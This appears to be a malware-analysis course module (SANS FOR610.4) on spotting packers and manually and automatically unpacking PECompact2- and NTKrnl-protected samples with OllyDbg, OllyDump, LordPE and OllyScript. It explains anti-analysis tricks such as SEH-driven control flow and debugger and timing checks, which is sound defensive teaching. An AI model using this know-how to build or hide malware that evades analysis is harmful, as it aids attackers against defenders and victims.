Self-Defending Malware
FOR610.4 begins by covering several techniques malware authors commonly employ to protect malicious software from being analyzed, often with the help of packers. You will learn how to bypass analysis defenses, such as structured error handling for execution flow, PF header corruption, fake memory breakpoints, tool detection, integrity checks, and timing controls. It's a lot of fun! As with the other topics covered throughout the course, you will be able to experiment with such techniques during hands-on exercises. The course completes by revising the topic of web-based malware, showing additional tools and approaches for analyzing more complex malicious scripts written in VBScript and JavaScript.

The materials in this section were created by the following authors, and incorporate feedback and recommendations from FOR610 course participants.

FOR610.4 Goals

- Examining malware that protects itself from analysis
- Handling more complex packers
- Recognizing and bypassing anti-analysis tricks
- Deeper browser script obfuscation

In this section of the course we will cover techniques for bypassing defensive technologies built into malware. Malware authors include techniques such as code packing, virtual machine detection, debugger detection, and browser script obfuscation, to make the analyst's job more difficult. Dealing with self-defending malware is truly an arms race: as the analysts come up with new techniques for bypassing malicious mechanisms, the malware authors come up with new ingenious ways to slow us down.

We will learn by examining several malicious samples, exploring new analysis tools as the need arises.

The term self-defending malware refers to the capabilities of malicious software to protect itself against analysis. We will learn to bypass defensive mechanisms, focusing on packers, obfuscators, and anti-analysis tricks malware authors often implement as part of their programs. We won't have a chance to cover all the defenses you may encounter. However, we will show you several common scenarios and present you with examples of the techniques that many analysis find useful.
FOR610.4 Roadmap

- Identifying Packers
  - Manual Unpacking
  - Unpacking with Automation
  - More Manual Unpacking
  - Bypassing Analysis Defenses
  - Exercises

\[ 1^{st} \text{ half of FOR610.4} \]

... then 2\text{nd} half of FOR610.4

We will begin FOR610.4 reviewing the techniques for identifying the packer used to protect a malicious program. Identifying the packer will help us understand the challenge we will be facing, and will allow us to research the defenses we may need to bypass.

We will then step through several examples of packed programs, and demonstrate the techniques for unpacking them so that we can analyze their code without the hindrance of a packer. As you will soon discover, this process will involve locating the ending of the unpacking subroutine and finding the Original Entry Point (OEP) of the malicious program.

We then look at an example of a malicious program that includes multiple defensive mechanisms, including anti-disassembly, anti-debugging, anti-VMware, and so on. This will be a good opportunity to learn the techniques for dealing with such defenses.

The second half of FOR610.4 focuses on browser script deobfuscation, building upon the browser-based malware topic we covered earlier in the course.

As always, you will find hands-on exercises in this section, which are designed to reinforce the materials we will be covering.
The term packing refers to the process of concealing the original malicious executable inside another executable. The resulting program contains a relatively small unpacking routine, and embeds the original program as data. The original program is usually compressed and encrypted, to make it difficult for the analyst to examine it.

When a packed executable runs on the victim's system, the unpacking routine executes, decrypting, uncompressing, and otherwise extracting the original executable into RAM. It then begins executing the original program from memory, making it difficult to analyze its code and behavior.

You may be familiar with a common, and relatively simple packer called UPX. (It was covered extensively earlier in the course.) In this section, we will review other, more complex examples of packers.

Let's begin by looking at techniques for identifying packing mechanisms...
Packer-Identification Methods

- Identify by strings
- Identify by using GNU/File
- Identify by expanded PEID detection via its signature database
- Identify by Entry Points

The first step to bypassing the packer's defensive mechanisms is to identify the program that was used to pack the original executable. Armed with this knowledge, we may be able to research the packing algorithm, and then bypass its defenses.

We can employ several methods for identifying the packing program.

- Checking the strings embedded into the malicious executable
- Using the GNU/File application for identifying key characteristics of the malicious executable
- Using PEID, and its signature database, to scan the malicious executable and identify the packer
- Examining Entry Point values of the malicious executable

Let's examine each of these techniques in greater detail.
Identifying Packers by Strings

- Most packers leave text signatures:
  - Change section names
  - Text inside the binary
- Obtain these details by extracting strings from the executable.
- Use BinText or strings.

As you may realize, relying on the strings embedded into executables can be misleading, as the specimen's author may embed strings in the executable to misdirect us. The author could also conceal certain strings from plain sight. However, experience shows that many packers include distinct signatures in the packed executables, which can help us in forming a strong hypothesis about the identity of the packing mechanism.

Tools such as PEiD use more sophisticated methods of automatically identifying packers. However, since such tools are based on signatures, or portions of code inside the executable, they may fail to detect new variations of a packing mechanism. When these tools fail, you have another chance to identify the packing algorithm -- to some degree of certainty -- by checking the strings left by the packer.

When checking packers by strings, you will see that some packers choose to leave signs of their presence in either section by adding customized section names, a la UPX, or by leaving some strings, like the name of the packing program.

There are many programs that can extract strings embedded in a binary file. A common choice for extracting strings under Windows is BinText, which Foundstone used to distribute for free. A copy of this tool is on the DVD you received for this course. A command-line utility strings is available for most Unix systems, and has been ported to Windows.
Strings can Reveal Section Names

- Some packers change section names to recognizable values.
- UPX – in general will name sections \textit{UPX0, UPX1, etc.}
- Aspack – in general name sections \textit{aspack} and \textit{adata}
- \textit{NSPack} in general will name sections \textit{NSP0, NSP1, etc.}

Some examples of packers that change the section names are:

Generic UPX section names
\textit{UPX0}
\textit{UPX1}
\textit{UPX2}

Generic NSPack section names
\textit{NSP0}
\textit{NSP1}
\textit{NSP2}

Generic ASPack section names
\textit{ASPack}
\textit{ADATA}

The way the packers choose the section names vary on the kind of packer.

For example, UPX consolidates the sections and splits the consolidation in two: \textit{UPX0}, which is uninitialized, and \textit{UPX1} which contains the compressed data and the stub. In contrast, ASPack leaves the original sections and adds two new ones: \textit{ASPack} for the stub code and \textit{ADATA} for the stub data (the compressed data).
Other Embedded Strings

- Some packers leave recognizable strings in the executable.
- RAR - "tsRarSFX%d", "Software\WinRAR SFX"
- Ntkrnl - "Ntkrnl Secure Suite", "Metamorphism Portable Executable (PE) Packer and Protector Library"
- PeCompact - in general will have the strings "PEC2" and "PECompact2" near sections names.
- Themida - in general will have strings "Themida" and "Orean.sys".

Some packers leave strings instead of changing or adding section names. For example:

PECompact
  CODE
  PEC2
  .rsfc
  PECompact2

Themida
  .rsfc
  .idsta
  Themida
  APA2Wa
  WD\W

RAR - RAR is an application similar to ZIP that is used to compress files/folders, but can also be used to create a self-extracting executable, so we included it here. Unlike traditional packers used by malware authors, RAR and ZIP extract the original program to disk, rather than to RAM. This makes it easier for us to deal with them.

%RarSFX%d

Ntkrnl

Ntkrnl Secure Suite
Metamorphism Portable Executable (PE) Packer and Protector Library
Copyright © 2006-2007 Ashkbiz Danehkar
Identifying Packers with GNU/File

- GNU/File is a common Unix utility
- Shows basic file properties
  - MS-DOS file, ELF file, ASCII...
  - get.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
- Also, shows some packers!
  - wnnudp.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, PECompact2 compressed
  - setup.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, Nullsoft Installer self-extracting archive
  - taskdir.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, UPX compressed

If you are using any flavor of Unix, you probably will have the command-line application called file. You can use it to determine the type of any file it recognizes, such as ASCII files, HTML files, MS-DOS files, PHP scripts. Here are some examples the output file produces when scanning files you might have on your file system or in your e-mail box:

bin.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Card2451.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
config.txt: ASCII text
dead.letter: ASCII text
eng.txt: HTML document text
exe.php: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
exe.zip: Zip archive data, at least v2.0 to extract
foremost-1.5: directory
foremost-1.5.tar.gz: gzip compressed data, was "foremost-1.5.tar", from Unix, last modified: Thu Apr 19 16:32:45 2007

In fact, file can also recognize common packers, such as UPX and PECompact. For example:

windowsxp2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, PECompact2 compressed
TEST2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, UPX compressed
Identifying Packers with PEiD Signatures and packerid.

- PEiD is a nice GUI tool, but identifying packers via a command-line can be handy.
- Jim Clausing created a Python script that uses Ero Carrera's PE modules and the extended PEiD signature database.

```bash
$ packerid windowsxp2.exe
['PeCompact 2.xx --> BitSum Technologies']
```

If you use PEiD, you might have already wondered about a tool with the same characteristics that could be used in command line, on Windows or, even better, on Linux.

Fellow SANS Internet Storm Center handler, Jim Clausing, created a Python script based on the PE-processing modules developed by Ero Carrera. The resulting collection of Python scripts allows you to use the extended PEiD signature database (userdb.txt) from the command-line on any system with Python installed. This is particularly convenient for performing initial analysis of Windows executables under Linux systems, to minimize the risk of getting infected.

Jim Clausing's wrapper script can be downloaded here:
http://handlers.sans.org/jclausing/packerid.py

The PEiD extended signature database can be downloaded here:
http://www.peid.info/BoBoSoft

The Ero Carrera PE modules can be downloaded here:
http://code.google.com/p/pefile

The REMnux Linux distribution, which we've been using during this course, has packerid installed on it.

Note that you will need to have Python installed on your system to run these scripts. Python comes with many Unix distributions by default, and is available for Windows. You can download it from:
http://www.python.org
We already covered the core concepts behind malware unpacking earlier in the course. In this section, we'll look at some of the more complex examples.
Manual Unpacking

Now that we covered how to determine whether a file is packed, and to identify the packing mechanism, we can learn how to unpack some files protected by non-trivial packers.

We will examine the process by unpacking two different malware specimens, one packed with PCCompact2 and the other with NTkernel packer.
The Complexities of Unpacking

- Unpacking specimens is not trivial.
- Multiple packers exist.
- Different algorithms may be used.
- Anti-debugger techniques are applied.
- Each packer may use a different method and present new challenges.

We have to keep in mind that unpacking specimens is and never will be a trivial task, since there are multiple packers and protectors available and each one may follow a different technique.

Another problem when dealing with packers and protectors is that they are implementing several anti-debugging techniques, like checking if a debugger is running, including instructions that would cause exceptions on a debugger, so it would know that it is running with a debugger, calculating the time taking by a instruction to run in a normal context, so it can compare to the time it takes to run on a debugger, and so on.

Examples of modern packers implement several tricks to avoid debuggers and execution inside virtual machine execution, include:

- Themida
- NTkrm
- Yoda Protector
Let's take a look at our first example. This is a program called windowsxp2.exe. It's on your course DVD in the 'Malware\day4\windowsxp2.zip file.

Consider a scenario where an employee in your organization received an official-looking e-mail message, advising him that Microsoft just released an urgent security update, and that it is critical that he clicks on the link included in the message to download and install the security fix. Perhaps after some hesitation, the person clicked on the link and installed the program. A few minutes later, he realized his mistake, reported the incident to the helpdesk, and that's when you got involved.

To analyze this specimen's capabilities, you'll need to unpack it. As you can see on this slide's screenshot, PEiD recognizes that the executable is protected with the PECOMPACT2 packer.

If you are not familiar with it, you will probably spend some time researching the packer's mechanics on the Web, so that you are as informed as possible when starting the unpacking process.
OllyDbg's Code Analysis of Packed Executables is Unreliable

Compressed code?

Quick statistical test of module 'windows.exe' reports that its code section is either compressed, encrypted, or contains large amount of embedded data. Results of code analysis can be very unreliable or simply wrong. Do you want to continue analysis?

Yes
No

When you load an executable into OllyDbg, the debugger will attempt to scan the executable to automatically determine what is code, what is data, and to present you additional useful details about the executable's contents. Unfortunately, this process does not work very well when the executable is packed. If you load a packed executable into OllyDbg, it will perform a quick statistical test to check whether the file is compressed. If it is, you will receive the warning shown on this slide. We suggest saying "No" to this notice, since if you say "Yes," OllyDbg's analysis will probably be incorrect and misleading.
In FOR610.3 we introduced the concept of Structured Exception Handling (SEH). You may recall that SEH is a mechanism for gracefully handling errors. It allows the programmer to define code that should be executed if an unexpected error occurs. Earlier in the course you saw how attackers can use frame-based SEH mechanisms as part of exploits to execute arbitrary code in a vulnerable application. Now we'll examine how malware authors use SEH to confuse analysts.

If you load the specimen we're using for this example, windowsxp2.exe, into OllyDbg, you will see that the program begins with the instructions shown on this slide. To understand the flow of execution, you may start by looking for CALL or JMP statements. Since you don't see such instructions in this code block, you may think that the program will execute linearly, following the order in which the instructions are listed on this screen capture. You'll be mistaken. In this case, the programmer is defining a structured exception handler and is using it to jump to another portion of the code in a rather tricky manner.

Let's see how SEH works from the perspective of OllyDbg, and we'll understand this block of code a little bit better...
In Windows each process thread maintains its own SEH chain. How does the OS know where to locate the SEH chain when an exception occurs? The chain always resides in the beginning of the location pointed to by the FS register, i.e., [FS:0] (sometimes this is written as FS:[0]). That's where the thread information block resides. If an exception occurs, the OS "walks" the SEH chain to handle the condition. The chain ends when the OS encounters 0xFFFFFFFF.

You can view the current state of the SEH chain in OllyDbg by going to the View menu and selecting "SEH chain". After first loading windowsxp.exe, the chain will look the way you see it on the slide. Though none of the exception handlers have yet been explicitly defined, we see one handler already on the chain. It is a handler function in kernel32, which Microsoft Windows seems to have added by default.
Another Look at the Beginning of windowsxp2.exe

1. Push location of the new SEH handler (00519870) to the stack.
2. Save pointer to current start of SEH chain.
3. Set FS:[0] to point to the new SEH record.
4. Trigger exception by dereferencing a pointer to 0 (stored in EAX).

Let's take another look at the beginning of windowsxp2.exe to understand what is going on there.

**Step 1:** The first instruction, "MOV EAX windoweax.00519870", saves the location (00519870) of some function to the EAX register. Then this value is pushed to the top of the stack via "PUSH EAX".

The function whose address is referenced here will be an exception handler. The address of the function just saved to the stack constitutes one of two portions of the SEH record. The other portion is the pointer to the previous SEH handler, which is currently being pointed to by FS[0].

**Step 2:** The next instruction, "PUSH DWORD PTR FS:[0]", pushes to the stack the pointer to the current start of the SEH chain. Combined with the previously-pushed value, this value comprises the new SEH record. We're almost done defining the new exception handler.

**Step 3:** Now we need to register the new record with the SEH chain. We do this by modifying the value stored at FS:[0] to point to the record we just defined. Our new record resides on top of the stack, which is being pointed to by the ESP register. As a result, to save the pointer we execute "MOV DWORD PTR FS:[0], ESP".

If you step through these instructions (via F8) in OllyDbg, you will notice that after Step 3, the SEH chain window includes the new exception handler, the function at 00519870.

If the program wants to ensure that its execution always flows to that exception handler, it needs to trigger the exception. For example, it could attempt dividing some value by 0. In our example, it triggers the exception by setting EAX to 0 via "XOR EAX, EAX", and then attempting to dereference it as a pointer ("PUSH DS:[EAX] ").
When an Exception Occurs, OllyDbg Pauses to Let You Debug

- To step through the exception handler, set a breakpoint on it.
- You can pass the exception to its handler via Shift+F7/F8/F9.

When an exception occurs, OllyDbg pauses with the message shown at the bottom of this slide and lets you decide how to proceed. If you think the program is triggering the exception on purpose, as a way of controlling its execution flow, you can pass the execution to the exception handler by holding Shift and pressing F7, F8, or F9. As with regular OllyDbg stepping shortcuts, F7 corresponds to "Step into", F8 to "Step over" and F9 to "Run".

As you can see in the SEH chain window, the first exception handler to be invoked will be the function kernel32.7c839aa8. If you don't want to step through that function, but would like to look at contents of the windowsx.00519870 handler, set the breakpoint there (via F2) while OllyDbg is paused, then press Shift+F9 to run until that point.
Configure OllyDbg to Pass Exceptions to Handlers

You could configure OllyDbg so it does not pause when an exception occurs, but instead automatically invokes exception handlers. This is convenient when you encounter too many exceptions during the analysis, and you don't care about stepping through their exception handlers. However, then you lose the convenience of setting the breakpoint on the exception handler when the corresponding exception gets triggered.

To configure OllyDbg to ignore exceptions, i.e. to pass them to exception handlers automatically, go to Options > Debugging options > Exceptions, and enable the options as shown on this slide.

Note that one of the options is to define a range of addresses where you also want OllyDbg to ignore exceptions, passing them to their handlers automatically. In this case, we defined a very large range: 00000000 to FFFFFFFF. Adding such a large range will ensure that the debugger will ignore exceptions on pretty much all memory ranges of the malicious executable.
The Search for OEP Often Involves Locating the Jump to EAX

- Unpacking involves locating the Original Entry Point (OEP).
- Many packers store the OEP value in the EAX register after unpacking.
- To locate the OEP, look for the first call or jump to EAX (with many packers).

Unpacking the program usually involves searching for the Original Entry Point (OEP). This is the location where the original program resides in memory after it was unpacked. The best time to dump that program is usually right before the first instruction of the unpacked program—the one located at the OEP—is executed.

Experience shows, that many packers store the value of OEP at the EAX register. This is probably because the EAX register is used to store the return value of a subroutine. Many packers' unpacking subroutines return the location where the original program was placed. This value is in the EAX register, which is usually POP'ed from the stack, and the process jumps to it or calls it to begin executing the original program.

Therefore, for many packers, we want to look for the first call or jump to EAX, because that is often indicative of transferring control to the newly unpacked code. That is where the OEP is likely to be located.
Anticipating Stack Clean-Up to Locate the Jump to OEP/EAX

- The packer is defining its SEH chain
- The packer will often clean it up before jumping to OEP/EAX
- Set breakpoint on area where the packer defined first SEH element

Our mission is to go through the code with OllyDbg until we find the OEP so we can dump the unpacked program. However, stepping through all the instructions in the unpacking subroutine is usually impractical. We'll need to find a shortcut... Some breakpoint we can set shortly before the unpacker transfers control to the unpacked code.

As we just discussed, packers commonly use SEH for execution flow to confuse analysts. In the beginning of its execution, a packer such as PDCompress2 defines its own SEH chain. However, once the code is unpacked, the packer will usually delete the chain elements from the stack before transferring control to the original program. Our technique for locating the OEP (which, in many cases, involves locating the right jump to EAX) will involve the following:

We will set a breakpoint on the area of the stack where the packer is storing its first SEH record (specifically, where it stores the pointer to the previous record). This will give us the opportunity to catch the packer when it cleans up the SEH chain by removing its SEH records from the stack. This first record will probably be the last one it removes before invoking the newly unpacked program.
Locating the Definition of the Packer's First SEH Record

- Open windowsxp2.exe in OllyDbg.
- Trace until the program saved SEH record elements onto the stack
  - Press F8 three times to step to that point

Recall that when the program defined its SEH handler record, it used the command "PUSH DWORD PTR FS: [0]" to save to the stack the pointer to the current SEH chain. We can set a breakpoint on the location on the stack where that data will be saved, so that when the packer cleans up the stack by removing this record, we will (hopefully) find ourselves close to the OEP.

After opening the malicious executable in OllyDbg and pressing "No" when asked whether to continue code analysis, press F8 three times to execute the first three instructions, so that the next instruction to be executed is the "MOV DWORD PTR FS: [0], ESP" instruction highlighted in this slide's screen shot.
Locating the Top of the Stack by Referencing the ESP Register

Left-click on ESP to highlight it, then right-click there and select "Follow in Dump"

You may recall that the ESP register always points to the current top of the stack. At the moment, that area of the stack stores SEH elements that we expect the unpacker to clean up once it completed unpacking the original program. To locate that part of the stack, so you may set a breakpoint there:

1. Left-click on the ESP register to select it.
2. Right-click on the selected ESP register to bring up the context-sensitive menu.
3. Select "Follow in Dump".

This will allow us to see the top of the stack, whose address is stored in ESP.
Setting the Breakpoint on Top of the Stack (1)

- The Dump region of OllyDbg will show the top of the stack.
- If you see assembly code there, right-click, select Hex > Hex/ASCII (8 bytes)

This slide shows the screen on the after selecting the "Follow in Dump" option, described on the previous slide. The Dump pane shows contents of stack at the location that was referenced by the ESP register. This is where we will want to set an access breakpoint.

If you see assembly instructions in the Dump region, instead of the data shown on this slide, then OllyDbg is attempting to disassemble this data. To change to the data view, right-click in that region, select Hex > Hex/ASCII (8 bytes).
On the dumped section, select the first 4 bytes (that’s a double-word) from the Dump pane using the mouse. In our example these four bytes are:

\[ \text{EO FF 12 00} \]

Then we right-click in the Dump pane and set a hardware breakpoint.

The breakpoint will be the type “Hardware, on access” > “Dword”. (A word is 2 bytes long and a double-word is 4 bytes long.)

Setting the breakpoint here allows us to catch the program when it accesses this part of the stack, which, we hope, will be close to when it prepares to transfer control to the unpacked program.

Now that the breakpoint is set, press F9 so the debugged program continues to execute.
Reaching an Access Violation

- You may reach an access violation
  - If you did not configure OllyDbg to ignore exceptions
- Use Shift+F7 to bypass it and continue.

Shortly after pressing the F9 key to continue the execution, you may encounter an access violation condition. This is quite common when dealing with packers like PECompact2, and will occur if you did not configure OllyDbg to ignore exceptions, per an earlier slide.

Windows APIs include several functions that will check if a process has access to the specific range of memory. They try to access memory and will return failure when the CPU reports memory access violation. Since we are running inside OllyDbg, OllyDbg will receive an access violation message and let you decide if you want to bypass it, by pressing Shift+F7 for example, as stated on the status bar.

You can safely bypass this violation if you encounter it; to continue press Shift+F7.
Reaching the Jump to EAX

- Now we have to run (via F9) until a jump to EAX ("jmp eax"). This should take three F9's.
- On the screenshot below we are close to it. Now we need just an F8 to jump.

Once we bypass the access violation, we are ready to run, so we press F9 to continue to execute until we find the point where the program jumps to EAX (the instruction "jmp eax"). We will need to press F9 3 times until we approach the "jmp eax" instruction. Most likely, this is a jump to the OEP.

At this point we will be hitting F9 until the we approach the "jmp eax". This may take some F9 pressing, because the memory location where we set the breakpoint is accessed on several occasions.

We're looking for the one that's before a jump to EAX

The screenshot on the slide above captures the point shortly before the execution of "jmp eax". At this point, we just need to press F8 to reach the jump instruction.
Jumping to EAX

- We reached the jump to EAX.
- Now we can take it by pressing F7.

We reached the point we were looking for, the jump to EAX, which in many cases is the jump to OEP. We are after this instruction. So we will step into this jump, by pressing F7, which will take us to the OEP.
We Seem to Have Reached the Original Entry Point

- This is probably the OEP.
- To confirm, dump the process with the OllyDump plug-in and see what you get.

After pressing F7 to take the jump shown on the previous slide, we will reach the Original Entry Point (OEP).

Now can now use the OllyDump plug-in to OllyDbg to dump the process to a file. This will give us the opportunity to have the unpacked file, so we can examine it without the protection of PECompact2.
Dumping the Process

- Selecting "Dump debugged process" will do the trick for us.

To launch the OllyDump plug-in, go to the "Plugins" menu in OllyDbg, select "OllyDump", then select "Dump debugged process".

When you do that, the OllyDump window will pop up, giving you the opportunity to overwrite default dumping parameters. Accept the default options and click Save button to save the process to disk. When prompted for the file name, save the dump as "winxp2.exe".
Running the Dumped Process

- Unfortunately, something was not quite right with the dump.
- When we try to run the dumped executable, we get an error.

Now that we saved the dumped process, we have two options:

1. We can use the dumped executable to perform static code analysis.
2. We may want to execute the dumped process and perform behavioral (live) analysis.

If we choose the first option, we are already done with the required unpacking steps. (Great job!)
Instead, let's choose the second option, to see what is involved in fine-tuning the dump so that it runs without errors.

At this point, we are not yet able to perform behavioral analysis of the dumped executable. It doesn’t run—we receive an error message from Windows, stating that the application failed to initialize properly. This is common with dumped executables if the OllyDump is unable to define a valid PE header for the dumped process.

Fortunately, LordPE is often able to fix the corrupt PE header...
It is common to find that a process dumped by a dumping application such as OllyDbg does not properly run on Windows, due to the inconsistencies generated by the dumping program. LordPE can automatically fix many such inconsistencies. Although LordPE will be unable to fix dumped executables that require complex repair, it is worth trying to process the executable with LordPE as the first option.

When firing up LordPE, we have a button called Rebuild PE, which we need to click.

Once we clicked the "Rebuild PE" button, we will have to select the file we dumped from OllyDbg and click OK. LordPE will check the executable and try to fix the parameters that we or OllyDump may have screwed up during the dumping process.

In the status window we can see that it didn't need to rebuild the import table, just realign the file to reflect its proper size.

Note that LordPE will fix the executable file in place, without making a backup of the original file. Back up the file before you attempt to fix it. This way, you have a copy in case LordPE breaks something, and in case you want to compare the fixed file to the original one later.
If you are wondering what LordPE has changed when rebuilding the specimen's PE headers, you can use LordPE's file comparison feature to find out.

First, you need to make sure you have two files to compare. The file winxp2.exe has now been fixed by LordPE. You can dump the process using OllyDump again, and save the dump to another file name, say winxp2-not-fixed.exe. Or you can create a copy of the original dump before you fix it with LordPE.

To reach LordPE's file comparison feature, click the "PE Editor" button on the program's main screen. You will be asked to load the executable to edit; select the fixed version of the file—winxp2.exe. Then click the "Compare" button and load the unfixed version of the file—winxp2-not-fixed.exe.

The resulting window will show you each key field within the executables' PE headers, identifying those fields that are different across the two files.
Malware is Trying to Fool Us

- When running the specimen, we get an error message.
- The error is fake; the process is running fine.

Now, when we try to run our specimen, we receive a different error message:

"FIND ERROR: Requerido Windows NT Server" ("Windows NT Server Required")

If we have Process Explorer running, we will notice that this is probably a fake error message, to lead the user to think that the malicious executable didn't run. With Process Explorer we can see that the malicious process continues to run even when after we click the OK button.

Now that we fully unpacked the protected executable, we can analyze it using behavioral and code-analysis techniques.
What We've Learned so Far – Finding the OEP

- We know that unpacking involves locating the Original Entry Point (OEP).
- Also, many packers store the OEP value in the EAX register after unpacking.
- To locate the OEP, look for the first call or jump to EAX (with many packers).
- Our approach involved setting a memory breakpoint to anticipate the packer's SEH chain clean-up.

The actions that we followed to find the OEP in this example can be summarized as follows:

- We know that unpacking involves locating the Original Entry Point (OEP), since it is the first instruction of the unpacked program to be executed by Windows.

- Also, many packers store the OEP value in the EAX register after unpacking, due to all the PUSH/POP instructions.

- To locate the OEP, we looked for the first call or jump to EAX. This approach works with many packers, because this instruction indicates a control transfer to the unpacked code.

- Our solution involved setting a breakpoint on the location of the stack that the packer used to define its first SEH record. In anticipation of the packer's need to clean up the SEH chain before invoking the original program, we used this approach to catch the packer before it transferred control to the unpacked program.
FOR610.4 Roadmap

- Identifying Packers
- Manual Unpacking
- Unpacking with Automation
- More Manual Unpacking
- Bypassing Analysis Defenses
- Exercises

... then 2nd half of FOR610.4

1st half of FOR610.4

Let's see how we can automate some of the unpacking steps we just covered.
Faster Unpacking with Automation

It is important to have at least a general understanding of techniques involved in unpacking protected executables. As you saw in the previous example, unpacking is often a time consuming and tricky process. Fortunately, you may come across some tools that attempt to automate the task of bypassing protection offered by packers. Some of them are more effective than others. Let's take a look...
OllyScript Helps Automate Unpacking

- OllyScript makes our life easier
- It's an OllyDbg plug-in allows automating unpacking with scripts
- Also, it's a good learning method

When you are dealing with packers, not always you will know how to manually unpack the specimen, due to the large number of packers available. One approach to deal with this issue involves automating the unpacking process. You can do this in OllyDbg using a plug-in called OllyScript.

OllyScript is a scripting engine that allows analysts to automated debugging tasks, including unpacking. If you don’t know how to or don’t wish to write your own scripts, you can identify the packer used to protect the malware sample and look for an unpacking script that someone may have written for it.

Note that not always will an unpacking script work, due to different packer versions of even different options selected when packing a sample. So, when looking for scripts, try to get more than one version so you can see the different approaches (after all it is a text file) that may work with different options used by the packer.

The scripts are also a nice way to learn how to unpack, if you get the syntax used by them.

A copy of OllyScript is included on the DVD you received for this course. You can also download a copy from:

You can download some of the more popular unpacking scripts for OllyScript from:
http://www.openrc.org/downloads/browse/OllyDbg OllyScripts
Using OllyScript – The Example of windowsxp2.exe

- Load the specimen in OllyDbg
- "Plugins" -> "OllyScript" -> "Open"
- Configure OllyDbg to ignore exceptions

Working with OllyScript plug-in is often straightforward. We just need to go to the Plugins menu, select “OllyScript”, click “Run script” and open the desired script file. You will need to locate the desired script file prior to the analysis, and save it locally on the system that is running OllyDbg.

Remember that each packer will have its own script. The script’s file is usually named after the packer that it is designed to bypass.

In this example, we will use an OllyScript script designed for locating the Original Entry Point (OEP) within an executable protected by PECompact2, which is the packer that was protecting the windowsxp2.exe specimen we analyzed in the previous slides. We located the OEP manually. Let’s see how we can automate this task with OllyScript...

A copy of the OllyScript script used in this example (pecompact_2.00-2.38.os.txt) is located in the OllyScript.zip archive on the DVD your received for this course. You can also download it from: http://www.openree.org/downloads/details/154/pecompact_2.00-2.38.os

To ensure that the script is not interrupted by questions regarding exception handling, be sure that OllyDbg is configured to ignore exceptions, as you saw earlier in this section.
If you found an OllyScript script that corresponds to the packer being used to protect the specimen, making use of the script is easy. When you run it, the script will automatically navigate through the executable within OllyDbg and (in most cases) will pause when it reached the Original Entry Point. Because the Original Entry Point represents the start of the original malicious executable, this is the best time to dump it using OllyDump.

OllyScript is easily confused by any prompts OllyDbg might bring up while the unpacking script is running. To decrease the likelihood that OllyDbg will ask unnecessary questions, you may want to remove the files OllyDbg used to save the history of your interactions with this executable. You can do this by quitting OllyDbg, then going to the directory where OllyDbg is installed, such as C:\Program Files\OllyDbg. In that directory you will find a file that has the .udd extension, and is named after the executable you've been analyzing (e.g., windowsxp2.udd). Remove that file.
As in the example when we located the Original Entry Point of windowsxp2.exe manually, you can accept default parameters of OllyDump. You will also have to use LordPE to fix the header of the dumped executable, to ensure it runs properly. As you can see in the screen shots on this slide, OllyDump was able to dump the process, after which LordPE was able to fix the dumped file's PE headers.
When searching for tools that attempt to automate the unpacking process, you may come across many tools. Some of them will work. Many won't. Quick Unpack is an automated unpacker that works reasonably well with a number of packing algorithms, such as ExeShield, FSG, LameCrypt, NeoLite, NiPack, PECompact, PEX, Sopelka, Yoda Protector, and many others.

Quick Unpack was able to unpack windowsxp2.exe quite well. After loading windowsxp2.exe via “Open file,” click the “…” button in the Options region to locate the OEP. The default method, ForceOEP, should work well in this case. Then, make sure to enable the “Use force unpacking” option. This helps make sure that the unpacker dumps the program the last time it attempts to access the OEP, in case it accesses the OEP location several times before it fully extracts itself. Then, click the “Full unpack” button.

Quick Unpack will attempt to rebuild the dumped program's import table and, in this case, will succeed with the default settings. Be patient; the process may take a minute or even more. When you are presented with the Import Table screen, simply click “Save”. The resulting unpacked file will be called “windowsxp2.exe”.

43
There's lots more for us to learn about dealing with self-defending malware by looking at additional examples that require manual unpacking.
More Manual Unpacking

We cannot rely on the necessary OllyScript unpacking scripts to exist when you need them. That's why it's important to exercise manual unpacking techniques. Here's another example.
Another Manual Unpacking
Example: bintext.exe

Now that we had some fun with PECompact2, it is time to try with something a little more advanced.

Our next specimen has the name bintext.exe, which reminds us of the free utility BinText
Foundstone, distributed not too long ago to extract strings embedded in an executable. Is this the
original program, or a malicious executable concealing itself under the name familiar to malware
analysts? Let's find out.

This potentially-malicious bintext.exe specimen is on your course DVD in the
'Malware\day4\bintext.zip' file. (Remember, we're not analyzing the benign instance of BinText that
you installed earlier in the course to use in your lab.)

PEiD does not identify the packer that may have been used to protect this specimen. However, the
entropy check in PEiD does suggest that the executable is packed. When performing this test, PEiD
calculates the frequency with which byte values occur in the executable; a very uniform distribution
typically occurs in encrypted, packed files.

To get to the entropy check screen in PEiD, load the executable into PEiD, then click the “>>” button
at the bottom right corner of the screen, then click the “-” button to the right of the “Entropy” field.
Strings Help Identify the Packer

- Possibly a packed version
  Foundstone's BinText.
- Strings suggest NTKrnl is the packer.

NTKrn1 Secure Suite Version 0.1
Metamorphism Portable Executable (PE) Packer and Protector Library
Copyright © 2006-2007 Ashkhiz Daneshkar
All Rights Reserved

A quick look at the strings embedded into the bintext.exe executable suggests the name of the packer: NTKrnl.
Using PEiD to List API Calls (1)

1. Clicking on [ > ] next to Subsystem box.
2. Clicking on [ > ] next to Import Table box.
3. Clicking on kernel32.dll lists API calls.

We already know that PEiD can show us general information regarding the packer that was used in the sample. Now, we will see how it can also help us when we try to unpack a sample that was packed with a more sophisticated packer.

At the moment we are interested in learning about the API calls that our specimen uses. To get this information, follow the following steps:

1. Load the specimen into PEiD.
2. Click on the [ > ] button to the right of the Subsystem box. Another window will open, and we will be able to see lots of information about our PE file. On this screen, called "PE Details," you will be able to see information about the specimen's header, such as its Entry Point, Image Base, Size of Image, among others.
3. In the PE Details window that opened, click on the [ > ] button to the right of the Import Table box. Another window will open, showing that kernel32.dll will be used by the executable. On the window that will open, called "Imports Viewer," you will be able to see the API calls used by this malware.
4. Click on the kernel32.dll. At the bottom pane of the window you will see a list of API calls that the executable makes use of from kernel32.dll.
